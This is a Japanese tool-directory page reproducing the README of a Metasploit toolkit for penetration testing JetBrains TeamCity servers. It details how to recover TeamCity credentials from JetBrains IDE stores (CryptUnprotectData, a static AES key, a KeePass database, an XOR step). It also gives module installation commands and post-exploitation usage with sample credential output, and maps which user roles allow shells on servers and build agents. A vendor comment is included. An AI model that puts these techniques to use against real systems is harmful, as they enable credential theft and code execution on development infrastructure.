Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pentest_teamcity — Metasploitを使用したTeamCityのペンテスト | Kitploit
ツール/GitHubGitHub/kacperszurek/pentest_teamcity
エクスプロイトフレームワークペイロード生成ウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストレッドチーミング
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

Metasploitを使用したTeamCityのペンテスト

リポジトリを見る
458138年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Metasploit を使用した TeamCity のペネトレーションテスト

要約: JetBrains IDE (IntelliJ や PyCharm など) からパスワードを取得し、その認証情報を TeamCity Continuous Integration Server 内で使用して、Metasploit を使用してサーバーおよびビルドエージェント上でメータープリターセッションを取得します。Kacper Szurek 著。

Jetbrains.rb モジュール

サーバー上のシェル

エージェント上のシェル

Windows エージェント上のシェル

JetBrains コメント

以下はベンダー (JetBrains TeamCity チーム) からのコメントです。Yegor Yarko 氏によるもの:

この記事の内容の大部分は、正しい権限が付与されている場合に悪意のあるユーザーが TeamCity を悪用する方法について説明しています。 例えば、システム管理者ロール (サーバーに対する完全な制御権を持つ) を持つユーザーは、悪意のある TeamCity プラグインをインストールしたり、サーバーへの「スーパーユーザー」アクセス用のトークンを取得したりできます。また、プロジェクト管理者ロールを持つユーザーは、エージェント上で任意のコードを実行したり、構成されたリポジトリアクセスパスワードを取得したりできます。これらの動作は、製品として TeamCity が提供する機能の一部です。これらの考慮事項は、TeamCity ドキュメントの関連セクションに記載されています。

説明された問題は、悪意のある攻撃者に高い権限を与えることがどれほど危険であるかを示しています。TeamCity サーバーの管理者は、ユーザーの権限を定期的にレビューして、悪用される可能性のある権限を潜在的に悪意のあるユーザーに付与しないようにする必要があります。有効になっている場合は、ゲストユーザーの権限も確認してください。もう一つのポイントは、重要な権限でログインした状態で端末を放置しないことです。

ただし、記事では2つの実際のセキュリティ上の懸念事項が指摘されています。 1つは、悪意のあるビルド成果物を公開し、管理者ユーザーにそれをブラウザで表示させることに関するもの、もう1つは、カスタムビルドを実行する権限を TeamCity エージェント上での任意のコード実行に昇格させることです。後者は、この権限を持つユーザーは通常すでにエージェント上で任意のコードを実行できるため、ほとんどの TeamCity インストールに与える影響は軽微です。

それでも、私たちは近い将来の TeamCity リリースのいずれかで上記の懸念事項に対処する予定であり、それらを私たちの注意に喚起してくれたことに感謝します。

はじめに

ソフトウェア会社でペネトレーションテストを行っていると仮定しましょう。その会社は JetBrains スタックを使用しており、あなたは Metasploit を使用して開発者のコンピュータ上でメータープリターセッションを取得しています。

次に何ができるでしょうか? 2015年に Nikhil SamratAshok Mittal による TeamCity のペネトレーションテストに関する記事が1つあります。

この記事では、Security Notes と BugTrack から複数の手法を組み合わせ、それらを Metasploit モジュールにまとめました。

注: ここでは0デイは使用していません。すべてのアクションには有効な TeamCity 認証情報が必要です。JetBrains コメント を参照してください。

私はこのスクリプトによって引き起こされるいかなる損害についても責任を負いません。データの安全性のために set CLEANUP false を使用してください。

TeamCity 2017.2.1 (ビルド 50732) でテスト済み。

目次

  • JetBrains コメント
  • インストール
  • JetBrains IDE からパスワードを取得する
    • JetBrains metasploit モジュール
  • TeamCity Server のペネトレーションテスト
    • サーバー上のシェル
    • ビルドエージェント上のシェル
    • Windows ビルドエージェント上のシェル
    • スーパーユーザー
    • 保存された認証情報
    • XSS を使用した管理者アカウント
    • ゲストユーザー
    • TeamCity metasploit モジュール
  • トラブルシューティング

インストール

KeePass データベースを復号化するには、kdbx Ruby ライブラリが必要です。

  1. gem ファイルを見つける: find / -name "metasploit-framework.gemspec"
  2. 編集する。Kali Linux の場合は: vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. 追加: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

次に以下の操作が可能です。

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. teamcity.rb と serverplugin.zip を ~/.msf4/modules/exploits にコピー
  3. jetbrains.rb を ~/.msf4/modules/post にコピー
  4. Metasploit コンソール msfconsole を実行
  5. プラグインをリロード reload_all

JetBrains IDE からパスワードを取得する

TeamCity は、プラグイン を使用してすべての JetBrains IDE と簡単に統合できます。

TeamCity 統合 - ログインウィンドウ

「Remember me」オプションが使用されている場合、パスワードは IntelliJ Platform Credentials Store API を使用して保存されます。ソースコードはこちらにあります。

Windows での復号化手順は次のようになります:

パスワードスキーマ

  1. pdb.pw ファイルは Windows の CryptUnprotectData を使用して復号化されます。これは、データを暗号化したユーザーのみが復号化できることを意味します。
  2. ブロブは 静的パスワード を使用して AES-128-CBC で復号化されます。このパスワードは変更されず、すべての製品とインストールで同じです。
  3. c.kdbx KeePass データベースは、ポイント2の マスターパスワード を使用して復号化できるようになります。
  4. パスワードは 0xDFAA を使用して XOR されます。

デフォルトでは、マスターパスワード はランダムです。オプション内で変更できます:

マスターパスワードの変更

しかし、これは何も変更しません。

これは単に、KeePass データベース c.kdbx が異なるパスワードで暗号化されることを意味します。ローカルユーザーは依然として pdb.pw ファイルからこのパスワードを簡単に取得できます。

JetBrains metasploit モジュール

有効なメータープリターセッション #1 を持っていると仮定しましょう。``` use post/jetbrains set SESSION 1 exploit

出力は次のようになります:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

Pentest TeamCity Server

現在、JetBrains metasploitモジュールからTeamCityの認証情報を取得しています。現在のユーザーロールに基づいて、以下の操作が可能です:

シンプル認証モード

サーバー上のシェルビルドエージェント上のシェルスーパーユーザー保存された認証情報
管理者✔️✔️✔️✔️
すべてのプロジェクト
ログインユーザー❌✖️
Windowsエージェントのみ
❌❌
ゲストユーザー❌❌❌❌

プロジェクト単位の認証モード:

サーバー上のシェルビルドエージェント上のシェルスーパーユーザー保存された認証情報
システム管理者✔️✔️✔️✔️
すべてのプロジェクト
プロジェクト管理者❌✔️❌✔️
プロジェクト開発者❌✖️
Windowsエージェントのみ
❌❌
プロジェクトビューア❌❌❌❌

metasploitモジュールはカスタムロールをサポートしていないことに注意してください。

サーバー上のシェル

TeamCityはプラグインを使用して簡単に拡張できます。

ツールをダウンロード